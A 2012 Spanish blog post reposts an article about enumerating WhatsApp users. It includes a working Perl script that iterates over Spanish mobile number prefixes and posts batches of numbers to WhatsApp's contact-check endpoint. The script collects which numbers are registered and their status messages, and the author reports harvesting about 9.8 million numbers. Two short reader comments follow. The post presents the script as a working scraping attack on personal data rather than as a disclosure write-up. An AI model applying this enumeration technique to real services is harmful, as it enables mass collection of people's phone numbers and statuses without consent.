lunes, 5 de marzo de 2012

Hacking Whatsapp!

No me cansaré de repetir que la gente tiene mucho tiempo libre y que le da por pensar cosas increíbles. Y que si el tiempo que dedican a esas cosas lo dedicaran "al bien" todo marcharía mucho mejor.
Copio literalmente un artículo que he leído en la página "Security by Default"

¡Qué pesados somos con whatsapp! Ya, bueno, eso es mentira. Realmente somos pesados con todo.

Haciendo algunos ejercicios con aplicaciones de iPhone, me dio por mirar un poco WhatsApp, como ya hiciera Yago o Alberto antes, pero es que la aplicación da tanto juego, que se puede hablar de ella muchas más veces.

Una de las cosas que observé en ese análisis es que cuando arranca, comprueba el estado de tus contactos y de esa forma, saber que personas de tu agenda usan el servicio.

Esta petición se realiza mediante HTTPS contra su servidor web con una llamada muy simple a la URL: https://sro.whatsapp.net/client/iphone/iq.php, que devuelve un plist con sus mensajes y disponibilidad.


P
+34600000158
T
6151511
S
Hey there! I am using WhatsApp.
JID
34600000158
NP



El resto de esta entrada, pues ya os lo podéis imaginar: script en perl, lista de teléfonos registrados de España y a probar y cotillear cuantos hay usando el servicio y que estados graciosos hay. ¿Aburrido? No, ¡inquieto!
La lista de prefijos de teléfono registrados es pública y se puede descargar en un fichero zip de esta página web: http://www.cmt.es/cmt_ptl_ext/SelectOption.do?nav=bases&categoria=descarga


El script en perl no es que soporte threads ni sea nada del otro mundo pero oye... funciona.


#!/usr/bin/perl
use LWP::UserAgent;
my $ua = new LWP::UserAgent;
open A,"num.txt";
my @a=;
my $i=0;
foreach my $b (@a){
chomp $b;
foreach $g (0..99) {
$i++;
my $post="";
$post="cd=1&cc=34&me=600000000";
foreach(0..9999) {
$post .= sprintf ("&u%%5B%%5D=%%2B34$b%02d%04d",$g,$_);
}
print "get $i\n";
my $req = new HTTP::Request 'POST','https://sro.whatsapp.net/client/iphone/iq.php';
$req->content_type('application/x-www-form-urlencoded');
$req->content("$post");
my $res = $ua->request($req);
print $res->as_string;
}
}

El resultado, cuando lo ejecuté el 10 de febrero y tras generar un log de 2Gb: 9.832.654 de números registrados.

2 comentarios:

  1. A esta aplicación le queda muy poco de vida. Ya mismo la capan las Compañías de Telefonía, que han visto reducida su cuota de transferencias de SMS en mas de un 80% entre Smartphones. A esta aplicación le pasará lo mismo que el truquito aquel de poner como centro de Servicio de Mensajes un numero extranjero gratuito, te acuerdas?

    ResponderEliminar
  2. Jejjje, aún guardo una lista con los número de los Centros de Mensajes SMS de otros paises... buffff era toooodo el día enviando mensajes, como ahora con el guasap

    ResponderEliminar

1 Libro = 1 Euro ~ Save The Children